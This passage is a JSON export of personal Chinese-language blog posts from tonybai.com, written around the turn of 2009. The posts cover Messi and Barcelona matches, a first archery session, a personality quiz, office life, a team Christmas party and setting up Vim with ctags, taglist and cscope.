场，这也给善于长途奔袭的梅西制造了出彩的条件^_^。巴萨的进攻阵型始终保持的很好，队员的位置感极佳。第7分钟，凯塔用一记远射拉开了巴萨进攻的大 幕。第11分钟，巴萨布斯克茨中场断球后直传给梅西。梅西面对多名防守球员果断用速度和精湛的带球技术从中路奔袭突破，躲过一名后卫伸脚阻拦，又晃过另外 一名后卫的凶狠铲断后，在门将出击封堵前起脚将球射向球门右下角，可足球却鬼使神差的被门柱挡出，梅西面对此情景也显得很无奈。巴萨继续进攻，梅西依旧是 活跃分子。在随后的时间里，亨利、阿比达尔、哈维先后威胁到了对方球门，但是都未能形成进球。场面上巴萨优势明显。现场似乎有雾，视野中不是那么清晰。第 44分钟，巴萨迎来进球。梅西在中圈附近得球，从中路奔袭突破，甩开后面紧追不舍的后卫，在大禁区弧顶左侧对方两名球员的封堵前舒服地将球传到右侧无人贴 身盯防的埃托奥的脚下，E9得球后稍作调整轮圆了右腿就是一记重炮轰门，球贴着草皮从球门左下角滚入球网，巴萨1:0领先。这个进球梅西传的漂亮，E9射的也带劲儿。\n下半场，奥萨苏纳非但没有死守，反而换上了一名前锋加强进攻。主队的进攻决心和行动在第63分钟和第73分中两度开花结果，巴萨客场1:2落后。奥萨苏纳的主场看来真不是白给的。巴萨没有放弃，第77分钟瓜迪奥拉用90后新星博扬（Bojan Krkić）换下凯塔，用四个前锋轮番攻击奥萨苏纳的腹地。3分钟后，巴萨的狂攻收到效果。梅西右路传球给插上的20号阿尔维斯（Dani Alves），后者突入禁区右侧传中，中路插上的哈维（Xavi）倒地扫射，球应声入网，巴萨扳平比分。\n巴萨继续进攻，第85分钟，梅西再次扮演了关键先生。梅西接队友在前场的倒地抢断球，迅速转身从右路向球门内切，在禁区弧顶偏右离球门25码的位置左脚非典 型劲射，球直奔球门左上角而去，门将在做出了无奈的象征性扑救之后，也只能眼看着足球进入网内。奥萨苏纳的主教练在场边也泄气了，无奈巴萨有梅西这样的可 以一个人改变比赛结果的球星。\n梅西的“凌波微步”\n梅西突破如入无人之境\n就这样，巴萨在魔鬼客场有惊无险了拿走了三分，继续以较大优势领跑积分榜。新国王梅西也继续着他极佳的竞技状态。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/01/12/osasuna-vs-barca/","summary":"\u003cp\u003e2009年1月12日凌晨4点（北京时间），西甲联赛第18轮领头羊巴萨做客纳瓦拉（Reyno de Navarra）体育场（又称为萨达尔体育场）迎战联赛排名倒数第一的“副班长”奥萨苏纳队（CA Osasuna）。梅西因航班延误而错过了上一场对阵皇家马洛卡（RCD Mallorca）的比赛，本场比赛是梅西在2009年的第一场联赛比赛。在几天前举行的国王杯八分之一决赛巴萨客场挑战马德里竞技的比赛中，梅西状态神勇，上演了帽子戏法。本场比赛，依旧保持上佳状态的梅西和埃托奥、亨利组成的前场三叉戟首发出场。\u003c/p\u003e","title":"梅西·传射建功逆转副班长"},{"content":"2008年国际足坛最后一个个人大奖即将于苏黎世当地时间2009年1月12日 20:00(北京时间1月13日凌晨3点整)产生，FIFA在其官方网站上设置了世界足球先生的网络调查，截至北京时间2009-01-11 18:00，网调结果如下图:\n最近刚在国王杯上演帽子戏法的Lionel Messi暂时领先于C.罗纳尔多、卡卡、托雷斯和队友哈维。但网调不是最终结果，巴萨10号梅西到底能否上演2008最大逆转还要看FIFA公布结果的那一最后时刻。希望梅西能有所斩获，期待中。\n","permalink":"https://tonybai.com/2009/01/11/the-internet-survey-result-of-2008-fifa-world-player/","summary":"\u003cp\u003e2008年国际足坛最后一个个人大奖即将于苏黎世当地时间2009年1月12日 20:00(北京时间1月13日凌晨3点整)产生，\u003ca href=\"http://www.fifa.com/\"\u003eFIFA\u003c/a\u003e在其官方网站上设置了世界足球先生的网络调查，截至北京时间2009-01-11 18:00，网调结果如下图:\u003c/p\u003e","title":"2008年FIFA世界足球先生网调结果"},{"content":"今晚和同事一起去射箭，没错，是射箭。射箭运动在国内兴起不算太久，应该还是近几年的事情。一位新同事前几天发现了一个射箭馆，遂组织大家下班后去射箭。以前没有射过箭，也不甚关心。但自从2008年奥运会看到巾帼张娟娟先后战胜韩国三位顶级选手而勇夺冠军的直播后，自己也对弯弓搭箭起了兴致，这次是个机会，很多人和我一样都想去试试。\n十个人，两台车，来到了一家叫\u0026quot;威克特锐\u0026ldquo;的射箭馆，位置在兴工南街上，在兴工街交通岗向南走上几分钟就能在右手侧看到。去之前我们已预定了5个箭道，两人一道，射箭毕竟是一个耗费体力的运动，如果一个人一直射下去，估计不到半个小时，弓都举不起来了^_^。射箭馆不大，室内也谈不上豪华，很简单，适合大众消费。\n威克特锐射箭馆 (照片中无本人^_^)\n教练会帮你带上护具，然后会手把手教你射箭的姿势和要领。剩下的就是自己练习和领悟了。箭道长十米，是练习道；像奥运那种正规的比赛，赛道是70米的。弓当然也不像奥运会比赛选手所使用的那样专业，但是也是上千元一把的，足有一米多长，份量也很足。按照教练的指导，先射了几箭，一箭比一箭射得好；但是到了后来，由于体力下降，反倒成绩不如开始阶段。俗话说：磨刀不费砍柴工。第一次射箭不要太注重结果，而是要学好基本功，比如姿势和要领，这也和学习其他事物的流程是一样的。\n回家一看，左胳膊中间关节处已经是淤血严重了，估计都是姿势不正确导致弓弦撞击胳膊造成的后果，希望大家引以为鉴。\n","permalink":"https://tonybai.com/2009/01/08/the-experience-of-archery-for-the-first-time/","summary":"\u003cp\u003e今晚和同事一起去射箭，没错，是射箭。射箭运动在国内兴起不算太久，应该还是近几年的事情。一位新同事前几天发现了一个射箭馆，遂组织大家下班后去射箭。以前没有射过箭，也不甚关心。但自从2008年\u003ca href=\"http://tonybai.com/2008/08/08/now-let-us-be-the-witness-of-29th-beijing-olympic-games-together/\"\u003e奥运会\u003c/a\u003e看到巾帼张娟娟先后战胜韩国三位顶级选手而勇夺冠军的直播后，自己也对弯弓搭箭起了兴致，这次是个机会，很多人和我一样都想去试试。\u003c/p\u003e","title":"第一次弯弓射箭"},{"content":"2009年1月7日凌晨3点（北京时间），西班牙国王杯（Copa del Rey）八分之一决赛首回合比赛正式打响，已经锁定2008-09赛季西甲联赛（La Liga）半程冠军的巴塞罗那队（FC Barcelona）做客卡尔德隆球场（Vicente Calderón Stadium）挑战马德里竞技队（Atlético Madrid）。这是2009年巴萨的第一场正式比赛，也是2009年天才球员梅西（Lionel Messi ）代表巴萨出场的第一场正式比赛。新任阿根廷国家队主帅球王迭戈·马拉多纳（Diego Maradona） 也亲临比赛现场考察自己的接班人梅西。比赛中的梅西果然不负众望，将自己的球技发挥的淋漓尽致，上演了个人在巴萨正式比赛中的第二个帽子戏法，用三粒漂亮 的进球彻底征服了卡尔德隆体育场的所有球迷，而后者也在第81分钟梅西被替换下场时全体起立为梅西鼓掌。梅西在本场国王杯中的神奇表现也向全世界证明了一 点，那就是：10号梅西，巴萨的“新国王”正式加冕了。\n梅西在国王杯八分之一决赛中射门得分\n2008-09赛季开始前，巴萨前国王罗纳尔迪尼奥（Ronaldinho）黯然离开了诺坎普（Camp Nou Stadium），梅西也正式继承了好朋友罗纳尔迪尼奥的那件10号球衣，同时这也意味着梅西将承担起巴萨10号的那份责任，成为巴萨和诺坎普的新国王，带领球队赢得冠军奖杯。但那时的梅西刚刚过完其21岁的生日，且队内有埃托奥（Samuel Eto’o）、亨利（Thierry Henry）、哈维（Xavi）等诸多资历深厚的大牌球星，梅西承受着巨大的压力。如果此时就认定这个略有些腼腆和青涩的梅西就是巴萨国王了，那显然缺少说服力，毕竟在之前的球队和比赛中，R10罗纳尔迪尼奥统治着一切，梅西还只是一个活跃的配角，梅西还需要用比赛和进球去证明自己。\n巴萨新老国王权杖交接\n2008年9月14日，梅西在西甲第二轮主场对阵桑坦德竞技（Racing Santander）的比赛中射入了自己身披巴萨10号的第一个联赛入球。随后便一发不可收拾，截止到这场国王杯比赛，梅西在联赛、国王杯和欧洲冠军杯（UEFA Champions League）中共为巴萨贡献了19个进球和9次助攻，成为队内的头号射手。不仅如此，梅西在球场上一贯的绅士形象也让广大球迷所称赞。本赛季第15轮国家德比赛中，梅西先后遭到皇家马德里（Real Madrid）5名球员的六次侵犯，梅西每次倒地后都默默爬起，并最终用一个漂亮的进球回敬了皇马的球员。经过半年的比赛和经验积累，梅西已经逐渐成熟起来了，特别是在领袖气质和进攻精神方面。现在我们可以底气十足的说：梅西已经是名副其实巴萨新国王了。少帅瓜迪奥拉（Josep Guardiola）也在围绕着梅西打造着球队的攻防体系，人们已经从中看到了以往巴萨梦之队的影子了。\n梅西身披巴萨10号的第一个联赛入球后\n巴萨新国王·梅西\n巴萨新国王·梅西\n梅西还很年轻，前方的路还很长，衷心的希望梅西-巴萨的新国王，一路走好。\n","permalink":"https://tonybai.com/2009/01/07/cup-atletico_madrid-vs-barca/","summary":"\u003cp\u003e2009年1月7日凌晨3点（北京时间），西班牙国王杯（Copa del Rey）八分之一决赛首回合比赛正式打响，已经锁定2008-09赛季西甲联赛（La Liga）半程冠军的巴塞罗那队（FC Barcelona）做客卡尔德隆球场（Vicente Calderón Stadium）挑战马德里竞技队（Atlético Madrid）。这是2009年巴萨的第一场正式比赛，也是2009年天才球员梅西（Lionel Messi ）代表巴萨出场的第一场正式比赛。新任阿根廷国家队主帅球王迭戈·马拉多纳（Diego Maradona） 也亲临比赛现场考察自己的接班人梅西。比赛中的梅西果然不负众望，将自己的球技发挥的淋漓尽致，上演了个人在巴萨正式比赛中的第二个帽子戏法，用三粒漂亮 的进球彻底征服了卡尔德隆体育场的所有球迷，而后者也在第81分钟梅西被替换下场时全体起立为梅西鼓掌。梅西在本场国王杯中的神奇表现也向全世界证明了一 点，那就是：10号梅西，巴萨的“新国王”正式加冕了。\u003c/p\u003e","title":"梅西·巴萨新国王正式加冕"},{"content":"西班牙国王杯的赛程真是难找，看直播也就更难了。昨天下班前才在新浪体育了解到晚上巴萨可能有国王杯的比赛，又到巴萨中文网寻了一圈，才把\u0026quot;可能\u0026quot;变为\u0026quot;确定\u0026quot;。今早起来迫不及待的打开笔记本\u0026quot;敲开\u0026quot;新浪体育首页，一行红字\u0026quot;国王杯-梅西帽子戏法\u0026ldquo;登时\u0026quot;窜入\u0026quot;眼帘^_^。\n上一次梅西在巴萨的帽子戏法是在06-07赛季主场与皇家马德里的比赛中上演的，时隔两年梅西再次给巴萨球迷们献上了厚礼，也使他个人在08-09赛季的进球数上升到了19个，别忘了07-08赛季梅西的总进球数才只有17个，当然上个赛季梅西被受伤病困扰了很久。梅西不是传统意义上的箭头前锋，这与外星人R9-罗纳尔多不同；梅西更不是典型的中锋，他没有伊布、阿毛里、范尼那样魁梧的身体；梅西不是中场指挥官，至少他目前还没有R10-小罗或者队友哈维或齐达内那样的大师级指挥能力。梅西就是梅西，他就像是一个精灵游弋在对手的半场，让对手心惊胆颤，神经紧绷，飘忽间给队友创造机会或闪电般给对手以致命一击。老马更希望梅西成为自由人的角色，这恰恰也符合梅西自己的球风。作为左脚选手的梅西却更喜欢在右路游弋并发起攻击。\n国王杯对阵马竞:梅西进球瞬间（图片来自新浪体育）\n国王杯似乎是梅西的\u0026quot;福地\u0026rdquo;，上一次梅西的\u0026quot;马拉多纳式\u0026quot;进球就是在国王杯主场对阵赫塔菲时上演的，这次又是国王杯，梅西上演了帽子戏法。似乎在国王杯这种淘汰制的比赛中梅西的表演潜能才更能被激发(梅西在欧冠总有上佳表现)，射门更有准头(如果梅西每场比赛的射门都准头十足的话，那什么样的对手都将变为“筛子”了)^_^。另外这场比赛老马的现场观战似乎也给梅西增添了不少的动力。这场比赛除了梅西的三粒进球外，其梅西式的\u0026quot;障碍滑雪式的过人\u0026quot;也让球迷们大呼过瘾，梅西这种轻盈的急速变向在当今似乎无人可敌，这也是梅西带球极具观赏性的一个重要原因之一。\n上周巴萨vs.马洛卡的比赛，梅西因机场工作人员罢工飞机延误而无法上场，从国王杯这场的表现来看，似乎梅西在圣诞元旦休假期休整的很不错，积蓄了不少进球的动力，如果对马洛卡那场能够上场的话，进球也是板上钉钉的了。\n让梅西的进球来的更猛烈些吧。\n","permalink":"https://tonybai.com/2009/01/07/leo-messi-play-another-hat-trick/","summary":"\u003cp\u003e西班牙国王杯的赛程真是难找，看直播也就更难了。昨天下班前才在新浪体育了解到晚上\u003ca href=\"http://www.fcbarcelona.com/\"\u003e巴萨\u003c/a\u003e可能有国王杯的比赛，又到\u003ca href=\"http://www.fcb1899.com/bbs/\"\u003e巴萨中文网\u003c/a\u003e寻了一圈，才把\u0026quot;可能\u0026quot;变为\u0026quot;确定\u0026quot;。今早起来迫不及待的打开笔记本\u0026quot;敲开\u0026quot;新浪体育首页，一行红字\u0026quot;\u003ca href=\"http://sports.sina.com.cn/g/2009-01-07/07444158220.shtml\"\u003e国王杯-梅西帽子戏法\u003c/a\u003e\u0026ldquo;登时\u0026quot;窜入\u0026quot;眼帘^_^。\u003c/p\u003e\n\u003cp\u003e上一次\u003ca href=\"http://tonybai.com/2008/11/18/i-like-this-picture-of-leo-messi-most/\"\u003e梅西\u003c/a\u003e在巴萨的帽子戏法是在06-07赛季主场与皇家马德里的比赛中上演的，时隔两年梅西再次给巴萨球迷们献上了厚礼，也使他个人在08-09赛季的进球数上升到了19个，别忘了07-08赛季梅西的总进球数才只有17个，当然上个赛季梅西被受伤病困扰了很久。\u003ca href=\"http://tonybai.com/2008/11/18/i-like-this-picture-of-leo-messi-most/\"\u003e梅西\u003c/a\u003e不是传统意义上的箭头前锋，这与外星人R9-罗纳尔多不同；梅西更不是典型的中锋，他没有伊布、阿毛里、范尼那样魁梧的身体；梅西不是中场指挥官，至少他目前还没有\u003ca href=\"http://tonybai.com/2006/03/15/sunshine-ronaldinho/\"\u003eR10-小罗\u003c/a\u003e或者队友哈维或齐达内那样的大师级指挥能力。梅西就是梅西，他就像是一个精灵游弋在对手的半场，让对手心惊胆颤，神经紧绷，飘忽间给队友创造机会或闪电般给对手以致命一击。老马更希望梅西成为自由人的角色，这恰恰也符合梅西自己的球风。作为左脚选手的梅西却更喜欢在右路游弋并发起攻击。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"http://lh3.ggpht.com/_SbsHcYT2rMI/SWP2TrMly4I/AAAAAAAABcw/D6HQrKcXIxc/s400/2009%E5%9B%BD%E7%8E%8B%E6%20%209D%AF%E5%AF%B9%E9%98%B5%E9%A9%AC%E7%AB%9E%E6%A2%85%E8%A5%BF%E5%B8%BD%E5%AD%90%E6%88%8F%E6%B3%20%2095.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e国王杯对阵马竞:梅西进球瞬间（图片来自\u003ca href=\"http://sports.sina.com.cn/\"\u003e新浪体育\u003c/a\u003e）\u003c/p\u003e\n\u003cp\u003e国王杯似乎是梅西的\u0026quot;福地\u0026rdquo;，上一次梅西的\u0026quot;马拉多纳式\u0026quot;进球就是在国王杯主场对阵赫塔菲时上演的，这次又是国王杯，梅西上演了帽子戏法。似乎在国王杯这种淘汰制的比赛中梅西的表演潜能才更能被激发(梅西在欧冠总有上佳表现)，射门更有准头(如果梅西每场比赛的射门都准头十足的话，那什么样的对手都将变为“筛子”了)^_^。另外这场比赛老马的现场观战似乎也给梅西增添了不少的动力。这场比赛除了梅西的三粒进球外，其梅西式的\u0026quot;障碍滑雪式的过人\u0026quot;也让球迷们大呼过瘾，梅西这种轻盈的急速变向在当今似乎无人可敌，这也是梅西带球极具观赏性的一个重要原因之一。\u003c/p\u003e","title":"又见梅西上演帽子戏法"},{"content":"下班班车上总能收到在中国移动定制的手机晚报，今天在手机晚报的\u0026quot;测吧\u0026quot;上看到这样一则测试题，摘录如下：\n\u0026gt;\u0026gt; 你的幸福从哪儿来？\n假设你与恋人到海边漫步，你觉得你们正在欣赏什么样的景色呢？\nA、满天星星\nB、夕阳\nC、日出\nD、沙滩聚会\n我毫不犹豫选了B。(如果你第一次看到这道题，你不妨试试，先不要看下面的答案^_^)\n选B：你的幸福来源：智慧之泉\n你认为人类得到上天给予的智慧，就是用来解开世上的神秘，你重视人的独创性，热衷于探索这神秘的世界。所以令你快乐的方法，就是多读书，令自己大开眼界！\n先不考虑这个测试的准确度，单从B答案中的描述来看，比较符合我的实际情况，而且似乎这种情感是与生俱来的。以至于我一直从事于计算机软件开发行业并乐此不疲，估计也与内心的这种情感有关吧。\n爱看书的确是我的一个习惯，总觉得自己腹中的\u0026quot;墨水\u0026quot;还太浅，总觉得世界上有那么多好的“精神食粮”等待着我去品尝；总觉得有空儿不看书是在浪费时间和生命，呵呵，不知道这是不是心理疾病。\n读书，在我今年给自己定的目标中占据了很高的一个位置。今年不仅仅要涉猎技术类的书籍，科普、数学和历史类的图书也增加了比重；另外始终觉得机器人行业在未来将有很大发展，自己又是程序员出身，对\u0026quot;机器人\u0026quot;原理、制作等相关书籍也要涉猎一些，有机会也要动手玩玩。现在的机器人制作虽然比起几十年前更加容易和大众化了，但是毕竟离中国老百姓的生活还挺远，搞起来成本依然很高，特别是一个现成的小机器人平台的价格也是不菲的。本科的时候学的就是光机电(模数电、机械原理、制图、工程光学)，虽然学的不咋地，但也算是有基础了，这些可都是玩机器人的必备知识。当然对于机器人来说，软件似乎更重要(程序员的眼中^_^)，软件可是机器人智慧的源泉。说到机器人，我们不能不佩服日本人的远见卓识，早在上个世纪中旬就在机器人领域大量投入。现在全世界范围内，日本在机器人领域绝对是NO.1。对中国人来说，这也许还是一个挺可怕的消息，具体为什么可怕这里就不赘述了，我想只要是中国人就都能够理解。不过现在和平时期，我们必须向人家看齐，努力追上去。\n这里有很多关于机器人制作方面的资料，多为日本人所著。\n上面测试题的其他答案：\n选A：你的幸福来源：朋友之源\n过于理想化的你，很难在现实中得到幸福，你总是喜欢建造自己的梦想王国，当你回到现实生活中时，往往感到不能接受。 建议你还是试着在日常生活中多跟朋友分享，令自己易于生活在残酷的现实中吧！\n选C：你的幸福来源：自由之泉\n你很有个性，希望在人和事自由旅行，追求刺激、快乐和幸福，对世人眼中的价值观漠不关心。对你来说，人生只是一个中途站，只要自由自在就好。\n选D：你的幸福来源的：家人之泉\n你是个很爱家的人，认为家是最温暖的地方，因此你的幸福正是来自热闹的家。但由于你的防卫本能过强，所以家个往往想安慰你也无从入手。建议你有什么心事时，可以跟家人说。\n","permalink":"https://tonybai.com/2009/01/06/where-is-the-happiness-from/","summary":"\u003cp\u003e下班班车上总能收到在中国移动定制的手机晚报，今天在手机晚报的\u0026quot;测吧\u0026quot;上看到这样一则测试题，摘录如下：\u003cbr\u003e\n\u0026gt;\u0026gt; 你的幸福从哪儿来？\u003cbr\u003e\n假设你与恋人到海边漫步，你觉得你们正在欣赏什么样的景色呢？\u003cbr\u003e\nA、满天星星\u003cbr\u003e\nB、夕阳\u003cbr\u003e\nC、日出\u003cbr\u003e\nD、沙滩聚会\u003cbr\u003e\n我毫不犹豫选了B。(如果你第一次看到这道题，你不妨试试，先不要看下面的答案^_^)\u003c/p\u003e","title":"幸福从哪儿来？"},{"content":"2009年的第一个工作日，一切尽在平淡中度过。\n往往大家都有这样的体会，那就是\u0026quot;长假“过后的第一个工作日身体多不在状态，假期中身体的懒散的惯性还没有彻底消除掉，也许脑子里还在回忆着与亲人朋友聚会时的那抹快意。但元旦后上班的第一天或许有些不同，毕竟这是新年后在同事面前的第一次亮相，要有蓬勃向上的气质和神态^_^。\n晨会上，组内同事围在椭圆会议桌，大家似乎都较为沉默，要不是我打开话题，各位似乎还停留在\u0026quot;假期\u0026quot;状态。大家轮流说完后，我提醒大家新年里大家要为自己确定好目标，制定好远期和近期的计划。其实如果你在2008年最后一天总结和回顾的话，那么2009年的第一个工作日其实你应该抽出些许时间在白纸上或者Excel上或者是电子日记本上或者是MindManager上记录下你今年的目标和计划，包括工作上的和私人的，花这个时间是很值得的。\n会后回到座位上，发现网络居然不好用，mail服务器也罢工了。唉，偌大一个公司，网络却常常\u0026quot;瘫痪\u0026quot;，真是让人觉得很不爽。不好用就不好用吧，正好用这段时间为项目组做一个上半年的工作计划，列出一些目标。中午网络恢复，各省陆续有一些问题汇集到我这，处理问题花了我一些时间，还好今天问题处理的都很高效，手到擒来。\n晚上有饭局，主要是宴请售后工程师们，感谢他们去年一年来对我们开发出来的产品的大力支持。大家把酒言欢，好不热闹，但我还不是很习惯这样的场合，闷头吃。\n","permalink":"https://tonybai.com/2009/01/04/2009-the-first-working-day/","summary":"\u003cp\u003e2009年的第一个工作日，一切尽在平淡中度过。\u003c/p\u003e\n\u003cp\u003e往往大家都有这样的体会，那就是\u0026quot;长假“过后的第一个工作日身体多不在状态，假期中身体的懒散的惯性还没有彻底消除掉，也许脑子里还在回忆着与亲人朋友聚会时的那抹快意。但元旦后上班的第一天或许有些不同，毕竟这是新年后在同事面前的第一次亮相，要有蓬勃向上的气质和神态^_^。\u003c/p\u003e","title":"2009·第一个工作日"},{"content":"国内很多学习Python的人都喜欢看\u0026quot;A Byte of Python\u0026quot;，这是一本由印度小伙儿Swaroop C H写的书，之所以受到大家关注和欢迎，想必其简单而实用的写作风格是其中的重要原因吧，作为入门书很适合。我的Laptop中就有一本中文翻译版，不过书中用的还是Python 2.3.4版本。本月3日(2008-12-3)Python 3.0 Release版祭出，Swaroop C H也在其站点上增加了A Byte of Python for 3.0版。在下载新版\u0026quot;A Byte of Python\u0026quot;的同时，我又发现了Swaroop C H的另外一部作品\u0026quot;A Byte of VIM\u0026quot;。\n刚工作的时候，一直用原始的VI(非VIM)在Unix上写代码，之所以选择原始的VI是因为部门里的老同事都使用它，VIM用的人不多，刚出校门的我还十分不适应VI的操作(在VIsual Studio上用IDE惯了)，形成VI习惯还是很痛苦的，学习过程似乎没有什么成就感。看着其他一起入司的同事使用VIM的各种\u0026quot;奇技淫巧\u0026quot;分割窗口、折叠代码、自动补齐、通过快捷键在代码文件间跳来跳去，我却仍没有一些想深入学习的感觉(也许当时将精力都投到Java上了吧^_^)。\n今年一直在努力通过各种方法(双显示器、分布式编译等)提高自己的工作效率，提升工作效率是大势所趋，随着工作责任的增多，工作任务相应的也要多起来，时间还是那些，这就需要你在短时间内高效的完成工作。我们能做的除了做好时间管理、理顺工作流程外，对于个体来说采用更高效的工具以及熟练掌握这些工具就是高效工作的一个突破口了。眼下对于我来说重要的就是让VIM\u0026quot;重装上阵\u0026quot;(工作多年了，还是用使用VI的方法去使用VIM这个强大的工具，有些说不过去了^_^)。\n与VI相比，VIM显然更强大，让人惊异于网上的各种VIM的插件和辅助软件，将这些结合在一起后，似乎一个无所不能的IDE就这样诞生了，也许这就是Unix文化的魅力所在吧。Swaroop C H的\u0026quot;A Byte of VIM\u0026quot;，特别是其中的\u0026quot;VIM, Programmer\u0026rsquo;s Editor\u0026quot;一节中将一个程序员应该常用到的插件和辅助软件都集中在了一起，从头到尾读一遍，你就会能体会到VIM的强大。关于如何使用VIM高效编辑的最好的Guide类文档当属Vim的Founder Bram Moolenaar所写的\u0026quot;Seven habits of effective text editing\u0026ldquo;了，目前该文档已经进化到2.0了。Bram在文中的一句话我觉得对学习Vim则是很有指导意义：\u0026ldquo;Learning every feature of Vim might make you the great award of Vim, but it will not be very effective. And it will be impossible to make everything a habit.\u0026rdquo; 在VIM纷繁芜杂的功能中找到符合自己的实用功能并形成编辑习惯才是最高效的。\n部门服务器上的VIM依旧停留在6.3版本，很多我需要的VIM新功能都不支持。为了不影响大家使用，我还是决定在自己的用户目录下重新编译一个VIM，最新版7.2，这样自己可以按照自己的需求定制。在SunFreeWare网站下载Vim7.2 For SPRAC Solaris 9的源码包，解压后发现VIM的目录组织很清晰整洁，Configure \u0026amp; Make，编译过程很顺利也，甚至连一个Warning都没有，10分钟编译完毕。Make install到自己指定的目录(需要在Configure的时候使用–prefix参数)，修改path。再一执行Vim，版本已经变成了7.2了。\nCtags一直在使用，不过发现系统里的Ctags版本较低，为了能更好的配合Vim 7.2，我还是下载了一个Ctags 5.7版本源码，重新编译了一个自己用的CTags。在测试项目顶层Ctags -R生成tags文件，测试了一把，一切OK。\nTaglist以前一直没有用过，下载其最新版taglist_45.zip，在本地$VIM_INSTALL_HOME/share/vim/vim72解压，\ninflating: plugin/taglist.vim inflating: doc/taglist.txt\n在测试项目里打开一个源文件，命令栏下输入: TlistToggle，Vim打开一个新的窗口，显示你当前Vim Buffer里的宏、Typedef、Functions、Variables等。你可以使用\u0026quot;Ctrl+w, Ctrl+w\u0026quot;在两个窗口间切换，对于函数较多较长、size较大的源文件的编辑有很大效率提升，list窗口中的内容也是普通文本，可以用各种搜索功能定位函数或变量，然后回车跳转到主窗口的相应源码。\nCtags和Taglist都功能有限，CScope才是集大成于一身，Vim内置了8种CScope的查询操作，比如你可以查询到当前光标下的函数被哪些方法调用，这个功能相当实用。由于我们服务器上没有CScope，我下载了源码编译，结果很不顺利，总是报错，无法解决，无奈只能让管理员在主机上用已经做好的安装包安装一个了。然后下载\ncscope_maps.vim，将之放入.vim/plugin下面，cscope_maps.vim将冗长的cscope命令映射为热键了，便于使用。安装好后打开Vim，使用热键，vim在状态栏中居然提示不支持cs命令。Help了一下CScope，发现Vim默认编译时是不支持CScope的，需要重新Configure，重新Make，这次configure就要加上–enable-cscope选项了。另外CScope单独执行时会用你默认的编辑器打开相应文件，你可以通过在shell里设置‘EDITOR’环境变量来指定编辑器。\n有了CTags、Taglist和CScope，你的Vim将呈现出丰富多彩的界面。窗口多了，别晕了。\nVim新版支持了内置的补全功能，通过Ctrl+N or Ctrl+P可在补全列表中前后选择；内置的补全功能会在当前缓冲区、其它缓冲区，以及当前文件所包含的头文件中查找以光标前关键字开始的单词，也是平时用的最多的补全功能。\nSnippets，看到这个单词也许使用TextMate的人最为熟悉不过了，通过敲击几个关键字符+TAB间即可帮助你展开一些最常用的代码，减少输入的重复工作，比如for, while, if以及C++等面向对象语言中的class结构，你只需要输入内容即可。Snippets同样是通过插件snippetsEmu的形式提供到Vim中的。只需要Vim网站下载两个文：snippy_bundles.vba和snippy_plugin.vba，千万不要别扩展名给蒙住了，这两个文件不是Windows上的那个VBA脚本文件，而估计是vimball文件，下载后分别用vim打开，然后执行\u0026quot;source %\u0026ldquo;即可。VIM会在.vim/下的after和plugin下放入若干文件，用以支持Snippets功能。你可以打开~/.vim/after/ftplugin/c_snippets.vim，看看它对C语言都有哪些Snippets，如果觉得不符合你的习惯可以修改之。随意打开一个C源文件，输入do+TAB，可以看到：\ndo\n{\n} while ();\n光标停留在中央，待你输入内容；输入后，点击Tab，光标会跳到下一个中，待输入完内容，再TAB，则最后一个消失，输入完毕。是不是也很强大:)\nVim的Quickfix模式是我以前没用到的，Quickfix这个就好比Visual Studio的“输出窗口”，build过程出现的错误都会在里面列表显示，你在这个窗口里将光标切换，主窗口就会显示对应的错误位置。前提你要在Vim内执行Make，一般我会使用:cw打开quickfix窗口，用cn和cp在quickfix中的错误行中切换。\n其实以上每一个新功能都很复杂，形成习惯需要一个过程，但是一旦形成了习惯，你的效率将会有大幅提高。\n","permalink":"https://tonybai.com/2008/12/30/in-depth-study-vim/","summary":"\u003cp\u003e国内很多学习\u003ca href=\"http://www.python.org/\"\u003ePython\u003c/a\u003e的人都喜欢看\u0026quot;\u003ca href=\"http://www.swaroopch.com/notes/Python\"\u003eA Byte of Python\u003c/a\u003e\u0026quot;，这是一本由印度小伙儿\u003ca href=\"http://www.swaroopch.com/\"\u003eSwaroop C H\u003c/a\u003e写的书，之所以受到大家关注和欢迎，想必其简单而实用的写作风格是其中的重要原因吧，作为入门书很适合。我的Laptop中就有一本中文翻译版，不过书中用的还是Python 2.3.4版本。本月3日(2008-12-3)\u003ca href=\"http://www.python.org/download/releases/3.0/\"\u003ePython 3.0\u003c/a\u003e Release版祭出，Swaroop C H也在其站点上增加了A Byte of Python for 3.0版。在下载新版\u0026quot;A Byte of Python\u0026quot;的同时，我又发现了Swaroop C H的另外一部作品\u0026quot;\u003ca href=\"http://www.swaroopch.com/notes/VIM\"\u003eA Byte of VIM\u003c/a\u003e\u0026quot;。\u003c/p\u003e","title":"VIM“重装上阵”"},{"content":"今天是圣诞节。往年圣诞节那天部门总会举行一个庆祝活动，活动中每个人都能抽到自己心仪的礼品作为圣诞礼物，还有美味的蛋糕分享。然而今年再也没有这种“好事”了，由于经济危机的影响，公司三令五申的要求各个部门“勒紧裤腰带过穷日子”。我们的圣诞庆祝活动就这样被Cancel了。\n昨天下午突然有了一个想法：部门不活动，我们项目组自己搞，不能让大家在圣诞节产生“失落感”。就这样和我们组内的\u0026quot;CCO（首席文化官^_^）\u0026ldquo;秘密沟通，没想到她也正有此意，达成一致^_^。由“CCO”负责采购礼物并策划活动过程，礼物费用我出，当然我们的礼物不能与部门礼物相比，但也是物美价廉，礼轻情意重！^_^。\n遗憾的是今天上午突然有急事，我不能按时到公司，原定的活动就这样一直被延迟到了中午饭时才开始。昨天下午内部会议时大家决定今天中午一起在会议室“聚餐”，主食：KFC，呵呵。我到公司的时候大家已经开始了兴高采烈的消灭各种汉堡、鸡翅、薯条的“战斗”中了，无奈我的午饭已经吃过了，肚子已经饱饱了，不能与大家共进圣诞大餐了。“说说笑笑，酒足饭饱”后，我们打开投影，\u0026ldquo;CCO\u0026quot;准备了动听的圣诞乐曲，桌子上铺满了各种各样的小礼品。大家早就在心里预定好了自己想要的礼品了。不过想拿到自己的礼品是要通过CCO给我们设定的游戏的。游戏规则这里就不详述了，值得一提的是：游戏刚进行了几轮后，大家就开始私分礼品了。我拿到了被戏称为“小黄”的一小盆仙人掌，以前部门抽奖就从来都没抽到过仙人掌（仙人掌属于纪念类礼品，抽不到的同事人手一盆^_^），这次终于“如愿以偿”了，将“小黄”放到办公桌上，还别说，别有一番滋味^_^。\n活动后收到同事的mail，谈到在圣诞节能收到项目组的礼物很有纪念意义，感觉